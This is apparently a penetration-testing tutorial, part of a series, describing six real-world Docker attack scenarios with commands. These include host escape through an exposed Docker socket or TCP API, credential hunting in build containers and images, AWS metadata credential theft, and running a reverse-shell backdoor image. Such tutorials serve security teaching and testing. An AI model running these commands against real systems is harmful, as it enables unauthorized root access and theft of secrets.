Docker: Part 5 — Real-World Attack Scenarios

By now, you’ve learned how Docker works, how to identify it, and how to exploit its weaknesses. But theory means little without real-world context.

In this post, we’ll walk through real attack scenarios where Docker becomes your foothold — or your pathway to root. These are drawn from common enterprise setups, developer habits, and cloud environments you’re likely to face during pentests.

This post covers:

• Common Docker misconfigurations in production
• CI/CD pipeline abuse
• Developer machine compromise
• Secrets exposure
• Cloud container exploitation

Scenario 1: Misconfigured Docker Socket on a Production Server

Setup

A web server is running on a Linux machine. Developers use Docker for deployment. They’ve left the Docker socket exposed.

ls -l /var/run/docker.sock

Output:

srw-rw-rw- 1 root docker 0 /var/run/docker.sock

World-writable socket. No authentication. Instant escalation.

Attack

docker run -v /:/mnt -it --rm ubuntu chroot /mnt bash

You now have a root shell on the host.

Lesson: If the Docker socket is exposed or world-writable, it’s equivalent to full root access.

Scenario 2: CI/CD Pipeline with Docker-in-Docker (DinD)

Setup

The target uses GitLab CI or Jenkins. Build jobs run inside containers with Docker access so they can build Docker images. The container has access to the host Docker socket.

From inside the build container:

ls -l /var/run/docker.sock

Same escalation vector.

Attack

Mount the host filesystem, chroot into it, and drop a root-level backdoor.

docker run -v /:/mnt -it alpine chroot /mnt sh

Bonus

CI tools often export secrets as environment variables. Check:

env | grep -i token

Or look at mounted volumes:

find / -name id_rsa

Lesson: Containers in CI/CD setups often run as root with direct access to the Docker daemon — a huge attack surface.

Scenario 3: Developer Laptop with Local Docker Misconfig

Setup

You phish a developer or gain access to their machine. They’re using Docker locally for testing. They’re in the docker group.

id

If docker is in the groups list, you have full control.

Attack

Pull a custom image that runs a reverse shell:

docker run -d -v /:/mnt yourrepo/root-backdoor

Or just mount the host filesystem and drop your payloads manually.

Lesson: Docker group membership is root access. Many devs don’t realize this.

Scenario 4: Secrets Leaked in Docker Images

Setup

You’re testing a containerized web application. The application image is publicly available or downloadable from a registry.

Attack

Pull the image:

docker pull targetcorp/webapp

Inspect it:

docker run -it --entrypoint /bin/bash targetcorp/webapp

Search for secrets:

find / -name "*.env"
grep -i pass /etc/*

Or check /root/.ssh, .aws, or .git.

Lesson: Secrets often get baked into layers during Docker image creation, especially in CI systems.

Scenario 5: Cloud Containers with Overprivileged IAM Roles

Setup

You compromise a container running in AWS ECS, GCP Cloud Run, or Azure Container Instances. The container has metadata service access or mounted cloud credentials.

Attack (AWS example)

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Then access secrets, list buckets, or escalate further using temporary tokens.

Lesson: Cloud containers often run with overly permissive IAM roles. Once inside, you may have access to databases, storage, or full admin panels.

Scenario 6: Exposed Docker API over TCP

Setup

Admin configured Docker to listen on a TCP socket (tcp://0.0.0.0:2375) instead of a local UNIX socket.

nmap -p 2375 <target-ip>

If open, no auth by default.

Attack

docker -H tcp://<target-ip>:2375 run -v /:/mnt -it alpine chroot /mnt sh

Lesson: Docker over TCP with no TLS or auth = remote root.

Summary of Real-World Vectors

Vector	Description	Privilege Risk
Docker socket exposed	Local or remote	Full root access
Developer in docker group	Local	Root via docker run
CI/CD build containers	Insecure configurations	Full host or secrets
Docker image secrets	Poor image hygiene	Credential leakage
Metadata access in cloud	Misconfigured roles	Cloud-level escalation
TCP-exposed Docker API	Network-accessible	Remote root access

Coming Up Next

In Part 6, we’ll finish the series by covering:

• Persistence techniques using Docker
• How to detect and defend against Docker abuse
• Cleanup tips for post-exploitation
• How blue teams can harden Docker deployments